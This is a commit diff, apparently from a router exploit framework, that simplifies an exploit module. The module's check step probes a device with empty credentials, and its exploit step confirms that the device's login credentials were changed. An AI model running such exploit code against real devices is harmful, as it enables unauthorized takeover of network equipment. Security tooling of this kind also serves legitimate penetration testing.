Commit 5858251b by John Mora

Simplified check and exploit.

All is simpler now :)
parent 982d99f4
......@@ -54,14 +54,7 @@ class Exploit(exploits.Exploit):
elif response.status_code == 401:
#Server obeys request but then sends unauthorized response. Here we send a GET request with the new creds.
infotab_url = sanitize_url("{}:{}/RgSwInfo.asp".format(self.target, self.port))
user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
chekc_headers = {'User-Agent': user_agent,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
'Connection': 'keep-alive',
'Accept-Encoding': 'gzip, deflate',
'Authorization': base64.b64encode(self.nuser+":"+self.npass)}
check_response = http_request(method="GET", url=infotab_url, headers=chekc_headers)
check_response = http_request(method="GET", url=infotab_url, auth=(self.nuser, self.npass))
if check_response.status_code == 200:
print_success("Credentials changed!")
......@@ -78,14 +71,7 @@ class Exploit(exploits.Exploit):
def check(self):
url = sanitize_url("{}:{}/logo.jpg".format(self.target, self.port))
user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers = {'User-Agent': user_agent,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
'Connection': 'keep-alive',
'Accept-Encoding': 'gzip, deflate',
'Authorization': base64.b64encode(":")}
response = http_request(method="GET", url=url, headers=headers)
response = http_request(method="GET", url=url, auth=("", ""))
#print response.text.encode('utf-8')
if response is not None and self.vulnresp in response.text.encode('utf-8'):
return True
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment